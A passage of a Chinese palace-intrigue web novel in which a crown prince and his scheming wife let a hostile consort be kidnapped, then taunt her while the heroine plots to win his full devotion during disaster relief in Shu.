她的眸子一转,冷冷地瞥他,“为何苏灵音来了?” 裴墨染感到冤枉,“是她非要跟乾风来的!不过也好,一切都快要结束了。” 云清婳有些恍惚。 一切都快要结束了是什么意思? 他知道裴云澈快要动手了? 啧…… 看来苏灵音是特意赶过来送死啊。 正说着,车扉被叩响。 “殿下、太子妃,妾身备了些糕点。”苏灵音的声音响起。 裴墨染无奈地跟云清婳对视,他不舍的放开怀中的云清婳。 二人坐正身子,分开了些距离。 “进来。”裴墨染道。 苏灵音端着一盘花糕进入车厢,她脉脉含情地看向裴墨染,“听闻王妃思念皇孙,夜不能寐,妾身便想着送些王妃喜欢的点心过来。” “你有心了。”裴墨染眼神温柔。 二人眉来眼去,情意绵绵。 苏灵音明晃晃在挑衅。 可她没看见,相交繁复的袖摆下,裴墨染的手正捏着云清婳的手心。 “王妃的眼睛有些肿,可是昨晚思念皇孙过度?”苏灵音关心道。 云清婳牵起嘴角,“既然有苏侧妃照料殿下,我还是回去吧,孩子还小,不能离了我。” 苏灵音见缝插针道:“皇孙有奶娘照料,何须担心?太子妃莫不是担心蜀地的地动?” “太子妃贪生怕死,何须拿孩子当幌子?”裴墨染讽刺。 车厢内的气压骤然降低,寒意阵阵。 云清婳瞪了苏灵音一眼,不卑不亢道:“殿下误会了,我只是挂念孩子。” 苏灵音善解人意地劝说:“殿下,蜀地多难,太子妃畏惧也是人之常情。不如就让妾身伺候吧,王妃回京就好。” “……” 裴墨染厌恶至极。 第216章 太好了,不用演了! 自从这个贱妇出现,她的每一句话都在攀咬蛮蛮。 “你怀孕了,还敢乱跑?你快些回京吧。”裴墨染不耐烦道。 苏灵音噘着嘴,一副女儿家娇羞的模样,“人家才不怕!妾身愿意侍奉殿下。” 云清婳起了一层鸡皮疙瘩。 恋爱脑僵尸都不吃! 苏灵音惨了,她坠入爱河了。 “……”裴墨染再也演不下去,他立即下了马车。 苏灵音抬眸,挑衅的看向云清婳,“太子妃又哭又闹,贪生怕死,未免也太明显了些。” “我的确不如你情根深种。”她讽刺。 苏灵音不恼,她讽刺道:“你很害怕去蜀地?真可怜!殿下让你随军,不过是把你当老妈子,让你伺候他的饮食起居。殿下心疼我,不想累着我,所以没选我。” “云清婳,你猜你的太子妃之位还能坐多久?”苏灵音挑衅的问。 云清婳一脸淡然,“你也能在七星连珠夜生出龙凤胎吗?你说我能坐多久?” 苏灵音气得手抖。 她就算能生出双胎,也不可能这么巧合赶上七星连珠夜。 毕竟这是千载难逢的。 “你给我等着!”苏灵音转身就走。 …… 一路上,裴墨染得空了就被苏灵音缠着。 裴墨染宠爱苏灵音的事就这样被传开。 云清婳并不在意,没人来烦她,她乐得自在。 “主子,二公子的密函说裴云澈一直在暗中跟着,恐怕图谋不轨。”飞霜小声道。 云清婳豁然开朗,“裴云澈下手也太慢了,我得去添上一把火。” 说着,她趁军队休憩时,黯然神伤的坐在偏僻的角落。 她穿着一席烟青色襦裙,身躯单薄,发髻未簪钗环,一副被丈夫冷落的架势。 她时不时拿出帕子擦拭着并不存在的眼泪,唉声叹气。 其他官员看到云清婳这般委屈,纷纷叹气。 “也不知道殿下是怎么想的,放着才貌双绝的太子妃不宠爱,净跟那种女人拉扯。” “苏侧妃怎么了?她是皇后的侄女,可不能瞎说啊!” “你不知道?我夫人亲眼看见苏侧妃的寝殿里藏了小白脸!” “我夫人那日也看见了!” 祝国公闻言凑了上来,他像是难以启齿,一番纠结后,开口道:“此事千真万确!我夫人也看见了!” 其他官员都瞪圆了眼。 半晌,一个年过半百的官员才憋出一句话,“殿下还真是宽宏大量,胸襟宽广啊。” 可不是宽广吗? 绿帽子都戴头上了,还宠爱苏灵音。 云清婳掐着大腿,险些笑出声。 忽的,她的头顶上落下一片阴影。 “蛮蛮。” 云清婳抬眼一看,眸子一震,“表哥!” 谢泽修从怀中掏出一包黄纸包裹的桃酥,“我记得这是你跟容音最喜欢吃的。” 她从他手中接过黄纸,她拿起一块桃酥品尝,眼睛酸胀,声音颤抖起来,“好吃。” “蛮蛮,想哭便哭吧。”谢泽修拿出一方干净的帕子,“哭过以后,就不要再伤心了,为了渣滓不值得。” 淡淡的甜味与芝麻的香气在舌尖漫开。 云清婳颔首,她笑看着他,“表哥也吃。” “好。”谢泽修伸手,正要拿起一块桃酥,一只大手先他一步,将桃酥抽走。 裴墨染咬了一口桃酥,“难吃!谁买的?” 云清婳:“……” 狗男人,又发病了? 谢泽修一脸无奈,他拱手道:“微臣见过太子殿下。” “谢将军,妾身多嘴一句,您跟太子妃虽然是表兄妹,可如此关心过度,未免不合时宜。”苏灵音缓缓走上前,她的眼尾上翘,脸上闪过阴险。 云清婳蹙眉,“我与表哥清清白白,苏侧妃想说什么?” “妾身可什么都没说,太子妃怎么急了?”苏灵音像是受了惊吓,倒进裴墨染的怀中。 裴墨染无措的看向云清婳:蛮蛮!我没有怀疑你! 云清婳不留情面的怼道:“狗咬你,你不急?” 苏灵音可以犯贱,可是舞到姐姐的家人面前就忍不了了。 “太子妃,您怎能如此粗鄙,辱骂妾身?妾身肚子里怀了殿下的孩子啊呜呜呜……”苏灵音捂着脸,哭得梨花带雨。 云清婳正欲开口,磁性的声音便响起,“这么多双眼睛看着,臣与太子妃还能做越矩的事不成?还是说有些人心是脏的,所以看什么都是脏的?” “臣也多嘴一句,太子妃身份尊贵,教训苏侧妃无伤大雅。可苏侧妃放大太子妃的话,牵扯皇嗣意欲何为?是想引得太子与太子妃不睦吗?” 苏灵音气得胃疼,她正要反驳,谢泽修滔滔不绝道:“外臣奉劝苏侧妃,您还是躲起来吧,您的风言风语,传遍了京城,您招摇过市前还请看看众人的眼神。” “我向来清白,我有什么风言风语?”苏灵音的鼻子都快气歪。 她环视一圈,许多将士、官员果真侧目看着她,眼神充满鄙夷、轻慢。 甚至有人不遮不掩的剜了她一眼。 “外臣不便回答,臣先行告退。”谢泽修拱手离开。 苏灵音这才想起来前些日子的小白脸。 她气得简直快要吐血。 她抱着裴墨染的胳膊,泪眼汪汪道:“殿下,人家是冤枉的!可是他们都不信。” 裴墨染拍了拍她的手背,“身正不怕影斜,何必在乎别人的目光?灵音,不要这么小气,洒脱些。” 苏灵音快要气死。 她还要怎么洒脱? 荡妇二字都快贴到她的脑门上了! “呜呜呜……”苏灵音哭着跑走。 她笃定裴墨染会追她。 可裴墨染站在原地一动不动,他深深看着云清婳。 “还不去追?”云清婳戏谑道。 裴墨染的眼神落在她手中的桃酥上,“这破桃酥有什么好吃的?你若是喜欢,我进城给你买。” 都什么时候了,他还拈酸吃醋?! “我就喜欢这个桃酥,我们兄弟姐妹从小都爱吃。”她白了他一眼,拿起一块咬了一口。 裴墨染的眼神有些受伤,“那我也喜欢这个桃酥。” “你方才不还说难吃吗?”她嫌弃的睨他。 裴墨染的脸皮不是一般的厚,他反问:“有吗?娘子,你都被那贱妇气出幻觉了。” “不要脸。”她骂了一句。 就在这时,乾风匆匆跑来,“不好了,殿下,苏侧妃方才被刺客掳走了。” 登时,周围的士兵、官员都露出震惊的表情。 裴墨染一怔,脑袋里像是炸开了五颜六色的烟花。 随后他的眼中荡开了笑,嘴角明显上扬,就像中了头彩! 太好了! 贱妇终于被掳走了! 云清婳生怕他露馅,她道:“怎么办啊?殿下快去营救啊。” 第217章 苏灵音被掳走了 扑哧—— 裴墨染笑出了声。 云清婳在他手背上掐了一下,他才止住笑。 “莫要耽误赈灾,本宫这就去营救苏侧妃。”他不紧不慢地翻身上马。 赶到了苏灵音被掳走的山林时,只余下一个背影。 “太子殿下若想留住你心爱的侧妃的小命,今晚子时就来青木崖一叙。”男人穿着一身黑衣,声音低哑。 裴墨染着急的低吼:“痴人说梦!你放过灵音,本宫可以既往不咎!” “殿下可以选择不来,那就别怪鄙人对侧妃跟胎儿不客气。”说着,男人运着轻功,消失在山林。 裴墨染做样子追了一会儿,就赶去跟军队汇合。 …… 马车中,裴墨染坐在云清婳身边低低的嗤笑。 云清婳忍俊不禁,“夫君都笑了半天了,至于这么高兴吗?” “怎么不至于?蛮蛮,你都不知道我受了多大的委屈!我等这一天,等好久了!跟她在一起的每一刻,都是煎熬!”他感觉神清气爽,从未这般快活过。 “苏灵音这会儿恐怕还等着您去救她呢。”她捏着桃酥悠悠吃着。 “她等着吧!”裴墨染凑近云清婳,咬去她手中桃酥的一角,“味道不错。” 云清婳嫌弃不已。 狗男人,又犯病了! 晚上,二人躺在驿站厢房的床榻上。 云清婳被硬邦邦的床板硌得浑身不舒服,她翻来覆去睡不着。 裴墨染将她抱在身上,让她枕着他的胸口。 他揉了揉她的背跟胳膊,“蛮蛮,委屈你了。” 这些日子,蛮蛮吃睡都不好。 听飞霜说,冷硬干噎的干粮饼,把蛮蛮的小嘴都剌流血了。 水囊里装的水里有泥沙,蛮蛮喝了后吐了好久。 但她从未抱怨过一句。 “我又不娇气,夫君能适应的,我都能适应。”她枕在他的胸口上,听着他的心跳。 “对,蛮蛮不娇气。”他的心软成了一滩水。 他承认他后悔了,不该带蛮蛮过来。 他在心中暗暗发誓,要对蛮蛮好,日后若能继承大统,世上最好的东西都要给他们母子三人。 裴墨染眼中含着愧疚。 云清婳注意到了他眼底的情愫。 很好,爱就是常觉亏欠。 她想通了,她被带去蜀地也并不全是坏事。 或许这是攻略裴墨染最后两分心城的好机会! 若是得到裴墨染的九成、十成真心,她就算杀了皇后,他也舍不得怪她吧。 “蛮蛮,你的胸口涨吗?”他的声音喑哑,喉结上下滚动。 她的脸蛋烧红,肌肤滚烫,声音极低,“……嗯。” 他恨不得扑倒她,可又怕床板把她的背硌疼了。 裴墨染将她抱起来,一阵温存。 …… 另一边,青木崖。 苏灵音被绑在树上,她的心跳如擂鼓,但并没有多害怕。 裴墨染一定会来救她的! 她确信,裴墨染至少有六成喜欢她了。 而且她腹中怀了孩子,她还是姑母的侄女。 就算看在姑母的面子上,裴墨染也不会袖手旁观。 “放开我!殿下是大昭战神,一定会来救我的!”她一脸傲慢。 “若是你们束手就擒,我可以劝殿下留你们一条活路!” “我知道你们是裴云澈的人!裴云澈,我知道你在!你疯了吗?枉姑母待你这么好,二十三年的恩情你都不顾了?居然绑架我!” 裴云澈端坐在一旁的马车中,悠悠倒了杯茶。 他等待着裴墨染的到来。 裴墨染这个意气用事、喜新厌旧的莽夫,他就算不在乎女人,还能不在乎孩子吗? 子时到了。 可青木崖上只来了几个侍卫。 “裴墨染呢?” “区区小贼,哪值得殿下亲自动手?” 一个男人拿刀架在苏灵音的脖子上,“果真薄情寡义!他难道不在乎这个女人跟肚子里的孩子?” “不怕死,你们就试试!苏侧妃肚子里怀了皇嗣!你们若是敢动手,就是与陛下为敌,与大昭为敌!” 苏灵音的眸光颤动。 她左右张望,她不相信裴墨染没有亲自前来,裴墨染一定躲在暗处伺机而动。 他明明是喜欢她的,明明对她动心了,他不可能不来。 而马车里的裴云澈也皱起了眉头。 裴墨染真的没来吗? …… 驿站的厢房中,一室旖旎消散。 云清婳气喘吁吁地枕在裴墨染的臂弯上,她的手搭在他的腰间,“夫君,子时到了,你真的不去救苏灵音?” “为何救她?裴云澈最好帮我杀了她。”他的眼神翻涌着残暴,“皇后派她监视我,想要摆布东宫,这就是下场!” “再说了,人是她最疼爱的儿子裴云澈杀的,与我何干?” 她戳戳他的胸口,“可是她怀孕了啊。” 裴墨染一怔,他的唇角掀起凉薄的笑,“你真信了?我怎会让苏家人怀上我的孩子?都是假的!” 她佯装惊讶。 他担心吓到她,轻拍她的背,“我找人做了假孕药,她服下后,恐怕自己都信了自己有孕。” “夫君,你好坏,你日后说不定也会喂我吃奇奇怪怪的药。”她怀疑地看向他。 裴墨染真是有嘴说不清,“我哪儿舍得药你?我看是你给我下了药,把我迷得神魂颠倒。” “夫君说话真膈应人。”她阖上双眼。 他也觉得自己说话越来越腻歪了。 但是改不了,见到蛮蛮,他就忍不住讨好她。 …… 军队并不因为苏灵音耽搁,依旧照常行径。 许多官员暗中赞扬裴墨染进退有度,分得清轻重缓急,有大局观。 云清婳早早就上了马车。 飞霜道:“段南天说裴云澈等了一夜,可没等到裴墨染,气得不行。” “呵……”云清婳的眼中闪过嗜血的兴奋,“苏灵音怎么样了?” “段南天说苏灵音起初嚣张得不行,子时以后没看见殿下,吓得求饶,为了逼出殿下,裴云澈还派人狠狠打了她。”飞霜都忍不住笑了。 云清婳摇摇头。 看来,苏灵音还会挨不少打。 正说着,裴墨染送来了三个用油纸包裹的包子,“蛮蛮,这段路太偏僻,驿站里只剩下干粮跟这些了。” 云清婳两眼放光,她接过包子,惊喜道:“还是温的!” 裴墨染宠溺地看着她,很是心疼。 堂堂相府嫡女,居然为了包子高兴成这样。 云清婳将一个包子分给飞霜,“夫君吃了吗?” “吃过了。”他道。 云清婳吃了一个包子,将最后一个包子仔细地用油纸包裹起来。 “不必节省。才一个包子,你能吃饱?到了下一座城池自有郡守招待。”他劝道。 她解释:“这是留给表哥的。” 一股无名怒火腾的烧起来。 裴墨染的脸色一黯。 他都舍不得吃的东西,这小妮子给谢泽修吃? 有没有天理了? 他酸溜溜地说:“他一个大男人,有这么娇气吗?还需你怜惜?” 第218章 气得爆粗口 云清婳嫌弃地瞥他,“夫君又发疯了。” “……”裴墨染咬牙,硬生生忍住脾气。 可嫉妒早就使他面目全非。 飞霜狡黠一笑,她忍不住道:“主子,您关怀谢将军,殿下吃味了。” 裴墨染感到欣慰。 飞霜还是有点脑子的。 算她机灵。 云清婳故意气他,“我起初就问了夫君,夫君说吃过了,我才想把包子留给表哥,表哥又不是外人,我何错有之?夫君怀疑我不成?” 裴墨染有苦说不出。 这个小妮子真是单纯! 都是男人,谢泽修的眼神他再清楚不过了。 谢泽修明显觊觎她! “蛮蛮,是不是我送你什么,你都可以分给别人?”他的声音闷闷的。 “夫君,你好小气!一个包子,你翻来覆去说了半天。”她不耐地拿着包子起身,下了马车。 她就是要气死狗男人! 谁让他把她掳来受罪? 他是土匪吗? 裴墨染的拳头捏得咔咔作响。 好啊! 他小气! 为了不落人口实,云清婳让飞霜将包子送去。 “主子,殿下都快气疯了,您还是克制一下吧。就算谢将军跟表小姐长得像,您也不能太冲动啊。”飞霜担心地劝道。 她方才心脏都快从嗓子眼里跳出来。 生怕裴墨染疑心主子跟谢将军。 云清婳用食指点了点飞霜的额头,“小飞霜,你不是真当我是恋爱脑吧?我后续的计划,用得上谢泽修。” “计划?”飞霜懵懂地揉揉后脑勺。 她解释道:“裴云澈用苏灵音威胁裴墨染不成,他反应过来后,十有八九会从我下手。” 裴云澈的心胸狭隘,睚眦必报。 到时候,他或许会狗急跳墙,将她掳走。 “所以主子是想让谢将军保护您?” 云清婳摇摇头,“恰恰相反,我是想谢泽修别保护我。” 毕竟,只有裴云澈掳走她,裴墨染才会发疯不是吗? …… 青木崖上。 裴云澈一剑劈开苏灵音身上的麻绳,他鄙夷地睨着她,“废物!枉本王以为你抓住裴墨染的心!” 苏灵音失去重心,瘫倒在地。 她的脸色惨白,双手护着小腹,身躯不住地轻颤,“不,不……殿下心里一定是有我的,一定是云清婳!一定是云清婳拦着殿下,不让殿下来此!” 裴云澈居高临下地睨着她,眼神轻蔑,“不可能!” “为何不可能?我怀了殿下的孩子啊……”忽地,苏灵音眸色一颤。 电光火石间,她想通了什么关窍。 裴云澈为何如此肯定云清婳不会拦着裴墨染? 只有一种可能,他们二人有奸情! 她冷不丁的笑了起来,鄙夷地望着裴云澈,“真是看不出来啊,你们居然苟且在了一起。” 裴云澈面色一沉,他一脚踹翻苏灵音。 他的皂靴毫不留情地踩在她的脸上,像在碾压一只蚂蚁,“一枚棋子,有什么资格置喙?蠢货,你被骗了!” “不可能!裴墨染心里分明有我!”苏灵音自诩女神算子,她从小就卓越不凡。 她不相信她会看走眼! 有些东西可以演,但有些东西是演不出来的。 裴墨染有时半梦半醒间,还会给她盖被子,这是能演出来的吗? 她坚信,爱可以表演,但细节是演不出来的! “如果不是云清婳从中作梗,那便是殿下识破了你的诡计,所以故意不来救我,他谅你也不敢杀我!”苏灵音的目光犀利而尖锐。 裴云澈笑了。 他被苏灵音蠢笑了。 “好!本王给你这个机会,让你看清楚。”裴云澈心中又有了新的算计。 与其杀了苏灵音,不如让她活下来,给裴墨染添堵。 …… 日夜兼程一个月,赈灾队伍终于抵达蜀地。 云清婳被裴墨染安置在一处地段偏僻,尚未受灾的府衙内。 “民生多艰,流寇横行,除了府衙,哪里都不许去,等我回来。”裴墨染捧着她的脸。 云清婳垂下眼睫,“百姓正水深火热,我岂能偏安一隅?我想帮着施粥或者给大夫们打打下手也好。” “那我让王显陪你。” 王显便是裴墨染的贴身太监。 她颔首,关怀道:“夫君此去救灾,要注意身子,不要累着自己。” “知道了。”他的心被填得满满的,很是熨贴。 二人正说着,王显匆匆跑来,“不好了,不好了……殿下……” 裴墨染面色一凛,冷冷地瞥他,“本宫有没有告诉你日后要持重?如此慌张,岂有半点体面可言?真是丢东宫的脸面!” 王显急得满头大汗,可被训斥后,他只能强作镇定,“是!其实也没什么大事。苏侧妃头上套了个麻袋,被丢到府衙门口了,好像伤势不轻。” 他娘的! 裴墨染甩袖,大骂了句粗口。 待反应过来,他又满脸心虚,小心翼翼地看向云清婳。 “夫君也要持重。”她无奈地看着他。 “我知道……我这不是被气的吗?裴云澈个懦夫,他为何不杀了她?”他状似委屈地俯下身,将脸埋在她的颈间。 “蛮蛮,你都不知道,一提到那个女人,我就浑身不爽快,头皮发麻。” 这是有心理阴影了。 王显侧过头去,根本没眼看。 一个身高八尺,身着几十斤银盔甲的壮汉,俯身在小女子身上哼哼唧唧,这合适吗? 这完全在云清婳的意料之中,裴云澈不傻。 经过青木崖的爽约,他一定猜出了裴墨染的计划。 “那夫君还演吗?”她问。 他激动道:“演个鬼!” 云清婳:“……” 裴墨染反应过来自己的态度过激,又委屈起来,“蛮蛮,你别害怕,我不是冲你,我是被苏灵音刺激的。” “我知道!夫君快去忙吧。” 裴墨染命人将苏灵音抬去破旧的偏院,远离云清婳。 …… 裴墨染跟其他朝廷命官一边忙着救援废墟下的百姓,一边忙着规划重建蜀地的蓝图。 过了十多天,裴墨染终于回到府衙。 这些日子,云清婳也没闲着。 她一大清早便去粥棚施粥,随后便跟着大夫给伤员包扎,吃喝全跟着百姓一起,早出晚归,毫无架子。 很快,太子妃宅心仁厚、菩萨心肠的名声便传遍了蜀地。 晚上回到寝房,飞霜给云清婳揉着僵硬的肩膀,“主子,您何苦让自己这么累?” “自然是为了给裴墨染造势,让他继位,让我顺利登临后位。”她可不做亏本买卖,她的目标一直十分明确。 得民心者得天下,从来不是虚言。 第219章 懂得形象管理 飞霜小声劝道:“那也不必这么认真啊。” “我不敢马虎。而且后面还有一出大戏,我或许能把裴墨染保留的最后两分心城攻下来。”她的眼中闪着势在必得的光。 “什么大戏啊?” 她把计划说给飞霜听。 原著中写了,裴墨染到蜀地半个月,他孤身查看尚存房屋结构时余震来了。 房屋倾塌,他的胳膊被房梁砸中,养了两个月才好。 倘若她在这个时候挺身而出,护住裴墨染,裴墨染必定会感激涕零。 飞霜虽然不知道主子为何如此笃定殿下会被房梁砸中,但她的脑袋摇得跟拨浪鼓似的,“主子,您千万别以身犯险!您又不是没给他挡过刀,可结果呢?他也没多感激您。” “今时不同往日,那时的裴墨染对我虚情假意,我为他挡刀,他只会觉得我活该,他不欠我什么。可现在我们感情正浓,我若是为他献上生命,他定会刻骨铭心。”她的眼中透着苍凉与坚定。 她也不想以命相搏,但是富贵险中求! 倘若能攻略下裴墨染的整颗心,将来她的真面目败露,裴墨染一定也舍不得追究。 而且她不傻,她会安排人救她的。 …… 月亮高悬,府衙外传来繁杂的车马声。 废墟下的搜救已经彻底告一段落,受伤的百姓几乎都安置进了救济所。 裴墨染才带领众人从临时驻扎的营地回府衙。 “殿下,工部已经将救济房的草图画好,木头跟工匠正从全国各地运来,很快就能动工。”诸葛贤道。 “有先生在,本宫很安心。”裴墨染眼下泛着淡淡的青黑,但神采奕奕。 因为马上就能见到蛮蛮了。 一个副将嗅了嗅身上的汗臭味,隔夜饭差点呕出来,“我要立即回房沐浴,这些日子臭烘烘的,我自己都膈应。” 另一个副将揶揄道:“同样都在烈日下救人,为何殿下每日都香喷喷的?” “殿下有媳妇,你有吗?嫂夫人每日都送来浆洗衣物,香气逼人。” “哈哈哈哈……” 裴墨染低头看着身上整洁的青色文竹圆领袍,挺胸抬头,眉眼间流露出别样的骄傲。 可他却操着无奈又嫌弃的口吻:“本宫都跟她说了,不用熏香,她非要熏!本宫一个大男人,香喷喷的像什么话?她真是的!一会儿见面,本宫一定好好说她!” 一群副将:呦呦呦!还好好说她! 装什么啊! 好像他们不知道挨巴掌的是谁! 诸葛贤很是上道,他拱手:“殿下威武,乃真男人也!” 裴墨染洋洋得意。 就在这时,王显小跑而来,“殿下回来了,奴才这就通传。” “不必!”裴墨染担心朝着她睡觉。 王显絮絮不止地汇报起了云清婳的行程,“这些日子殿下受累了,太子妃亦是。太子妃每日天没亮就去粥棚施粥,晌午帮着大夫救治伤员,晚上有时还帮人缝补衣物。奴才的袖子都是太子妃补的。” 说着,王显伸出左手。 他的左手袖口上用黑线缝了叶子的图案。 裴墨染眉头皱得简直能夹死一只苍蝇,“太子妃绣的?” “正是!”王显乐颠颠地笑着,丝毫没发觉不对,“太子妃给许多人绣了,还有谢将军。” 裴墨染的脸登时阴沉下去,他低头检查起了自己的袖口、领口、衣摆。 诸葛贤以及几个副将看穿了裴墨染的意图,皆有些无语。 这有什么好争风吃醋的? …… 云清婳简单洗漱完毕,她穿着白绸亵衣正欲上榻时,门被推开。 颀长高大的身影推门而入。 裴墨染迫不及待朝她走来,脸上透着难以言表的喜悦,“蛮蛮!” “夫君!”她跑向他,一对杏眼笑成了弯月牙。 他掐住她的腰,将她抱起来,在原地转了个圈,浑身透着少年的肆意与活力。 云清婳轻拍他的肩膀,他默契地会意,他坐在木椅上,让她面对面坐在他的膝上。 “蛮蛮,你可想我?”他的额抵住她的额头。 她抿唇,含羞似怯地点头。 裴墨染的薄唇勾出好看的弧度,“我就知道你想我!蛮蛮,你每日给我送去的衣物好香,我好喜欢。” 云清婳无比庆幸给裴墨染送去了衣物,要不然他今日突击回来,不得臭死她? “蛮蛮,你为百姓做的事,我在营地都听说了,辛苦你了。”他的眼中透着几分心疼。 “能为百姓尽力,我不辛苦。”她的眼眸煜煜生辉,眼中有着旁人没有的坚定与希望。 陡然间,裴墨染觉得她好耀眼,不像灯烛,而是太阳。 “诸葛先生跟副将们也回来了吧?我做了野菜馄饨,稍后让飞霜煮好了送去。”她知道裴墨染没有吃宵夜的习惯。 裴墨染刮了下她的鼻子,“我身边的人都被你贿赂完了。” “那夫君肯不肯让我贿赂?”她勾勾他的下巴。 “你何须贿赂?你勾勾手,我什么不给你?”他摩挲着她的腰。 云清婳在心里翻了个白眼。 她要皇后的命,他肯给吗? 裴墨染在军营苦惯了,身上的习气并不好,有时累惨了,便会直接上榻。 可看到云清婳,他立即止住了直接上榻的念头。 他这些日子都没好好沐浴,最多擦洗了一下,可不能让蛮蛮闻到了! “命人备水,我去沐浴。”他颇有暗示性地在她腰间掐了一下。 “夫君的鞋都磨破了。”她蹲下身,作势要帮他脱鞋。 裴墨染扼住她的手腕,他正色道:“蛮蛮,你不必这样待我,我们是夫妻,你我是平等的。你从来不必做这样卑微的事情。” 真难得啊。 平等二字居然能从一个封建集权社会的太子的嘴里说出来。 并且还是在她从未引导过的情况下。 果然,爱能包容一切。 “夫君疼我,我也想疼夫君罢了。”她佯装感动,眼中似有水光闪动。 裴墨染去净室沐浴,过了半个时辰,他才磨磨唧唧从浴室出来。 果然,不论男女,只要懂得形象管理就会变得磨叽。 第220章 真相如刀子,捅苏灵音的心 裴墨染故意裸露出上半身,他宽肩窄腰,锁骨上挂着一滴水珠滚落到喷张的胸肌上,他的肌肉不大不小,八块薄薄的腹肌块垒分明,人鱼线蜿蜒向下,线条优美。 这副画面是好看的。 二十三岁花一般的年纪、完美的身材,再配上他那张赏心悦目的五官的确有色诱的本钱。 他状似无意地在云清婳面前走来走去,他的臀部挺翘,像极了求偶期的花孔雀。 云清婳:??? 不儿,他孔雀开屏能不能别这么明显? “夫君。”她放下手中的绣品。 “嗯?”裴墨染以为诱惑成功,心下隐隐激动。 云清婳戏谑道:“你知道男人什么时候最好看吗?” “什么时候?”他美滋滋地问。 “在不知道自己俊俏的最好看!夫君现在特别油腻!”她露出嫌弃的表情。 裴墨染的脸发青,“蛮蛮,你嫌弃我了是吧?我真是媚眼抛给瞎子看!我今晚是不会怜惜你了。” 云清婳想要跑出去,府衙的寝屋很小,他伸臂就能抓住她,但故意放她跑了三步。 二人嬉闹着,在寝屋中闹作一团。 门外,飞霜跟王显无奈地对视。 忽然,王显脸色骤变,像是见鬼了。 “你见鬼了?” “昂!”他指着侧窗外。 飞霜顺着他手指的方向看去,瞳孔地震,“苏灵音?她怎么来了?” “嘘……”王显坏笑,“让她多看看也好!正好让她死心,免得再出来膈应人!” 苏灵音像是一个阴湿女鬼,站在侧窗外的阴影处。 她的眼里透着幽怨、嫉妒以及难以置信。 之前,她一直告诉自己裴墨染是爱她的,只是不愿中了裴云澈的诡计,才没去救她。 于是听到裴墨染回来,她就兴冲冲来找他,谁曾想远远地就听到了他跟云清婳的嬉笑声。 屋中,裴墨染从后面揽住云清婳的腰,将她抱了起来,“还想逃到哪里?束手就擒吧!” “裴墨染!你太过分了,你不让着我!”她佯装委屈。 他将她抱放在桌上坐着,俯下身,笑道:“还要怎么让你?再让着你,你就要跑出去了。” “蛮蛮,你摸摸我啊。”他抓着她的手,往他的胸肌上放。 窗外的苏灵音难以置信。 她侍寝时,裴墨染明明很抗拒她的触摸。 云清婳似有所觉,所以很配合。 她在心里冷笑,苏灵音,心疼吗? 痛苦吗? 谁让你不争气,对裴墨染动心了呢? 裴墨染衔住她的唇亲了半晌,他还想更进一步,云清婳用脚踢了踢他的大腿,“我怕冷,去榻上。” “好。”他的声音喑哑。 他自觉蹲下身,捡起地上被踢掉的绣花鞋给她穿上。 云清婳很满意。 狗男人已经被调教得很自觉了。 在苏灵音难以置信的目光中,裴墨染抱着云清婳走向屏风后。 苏灵音心痛如刀割,她捂着小腹,失魂落魄地走了。 …… 翌日。 云清婳日晒三竿才醒,枕边人早已不在身边。 昨晚被折腾了半夜,她的腰好像被马车来回碾过。 沐浴过后,她才出寝房便看见了苏灵音。 苏灵音阴恻恻地看着她。 云清婳知道,昨晚苏灵音已经偷窥过她跟裴墨染了。 她很好奇,苏灵音的选择。 苏灵音究竟会选择自欺欺人还是大彻大悟? “苏侧妃怎么来了?”云清婳好整以暇,讥诮地看着她。 苏灵音的手下意识的攥紧,她面露凶光,威胁道:“趁我不在,你究竟用了什么狐媚妖术迷惑了殿下?你跟裴云澈的事我都知道了!只要我告发,你觉得殿下会放过你?” 云清婳扑哧一声笑了,“原来是这个啊,我还以为你捏住什么把柄了。” “……”苏灵音有些迷茫。 她不明白云清婳为何还不慌! “虚张声势!你别想骗过我!”苏灵音的眼神阴毒,“若不是看在云家的面子上,你以为殿下会与你虚与委蛇?” 云清婳用看跳梁小丑的眼神看她。 真可怜啊! 染上恋爱脑,整个人就废了。 “既然你知道是虚与委蛇,你生什么气?你恨什么呢?”云清婳的笑容清澈,不含一丝杂质。 偏偏是这么单纯的表情最气人。 “苏灵音,别自欺欺人了,你心里清楚裴墨染不爱你!他在利用你!你只是我的挡箭牌!”云清婳毫不留情地说出真相。 真相如同一把把刀子,扎在苏灵音的心上。 让她的心血流不止。 苏灵音的眼泪在眼眶打转,喉咙像是被塞了一团棉花,她想要反驳却说不出话,“不……” 云清婳噙着笑,眼神中却透着居高临下,仿佛她生来就该凌驾于苏灵音之上。 她就是要刺激苏灵音,让苏灵音恨上裴墨染! 让她在极度伤心、崩溃之下,做出出格的事情! 只有如此,裴墨染才会恨苏灵音,连带着憎恨皇后! “殿下心里是有我的。”骄傲如她,苏灵音不能接受的另一个原因便是她打小便认为自己聪明绝顶。 她不接受自己被一个武夫耍得团团转! “我为殿下挡刀,与他同甘共苦,他不会这么狠心的。”苏灵音忍住眼泪,倔强地说。 “苏灵音,你真的以为自己很聪明?这些不都是你自导自演的吗?我跟裴墨染将计就计罢了。还有,我们每一次的争吵,都是演给你看的。”云清婳摊牌。 苏灵音的心肝都在颤,脸色惊恐。 “不可能!殿下半夜睡醒,会下意识给我盖被子,这是可以演出来的吗?”她像是找到了救命稻草,脸上的线条变得柔和。 云清婳的戏谑地笑了,“这不是演的!他有没有对你说什么?他的关心是真的,但不是给你的。” 苏灵音的大脑轰鸣。 她陡然想起,有一次裴墨染半梦半醒间给她盖上被褥,随后反常地主动搂住她。 他慵懒地说:“你若是又着凉了,我才不喂你喝药。” 她当时满心甜蜜,可现在想起却作呕想吐。 这话原来不是对她说的! “我是不会信你的!别想离间我跟殿下。”她抚摸着小腹,仿佛这是她最后的底气跟慰藉。 云清婳差点笑出声。 肚子里空空如也,还摸来摸去。 她并不着急揭穿,只有裴墨染自己摊牌,杀伤力才大! 第221章 裴墨染破防了 苏灵音的鼻尖泛红,不等云清婳说话便转身小跑着走了。 就像是在逃避什么。 云清婳的眼神讳莫如深。 飞霜给云清婳披上披风,无奈道:“主子,苏灵音真是冥顽不灵,真相都摆在眼前了还不相信。” 感情会让人失智! “裴云澈怎么样了?”她问。 “段南天说,他的人一直在府衙外环伺,恐怕想对殿下不利。”飞霜谨慎的说道。 云清婳的神色一凛,“不,他不会这么蠢,他的目标不是裴墨染。而是我!” 裴云澈发现苏灵音是挡箭牌,便会猜到裴墨染真正想保护的人是她。 他无论是从报复还是嫉妒的角度,都不能忍受她继续在裴墨染身边待下去。 飞霜的脸上露出期待。 她想知道,裴墨染发现云清婳被裴云澈抢走之后,会是什么表情。 …… 晌午,云清婳端着一碗馄饨去往书房。 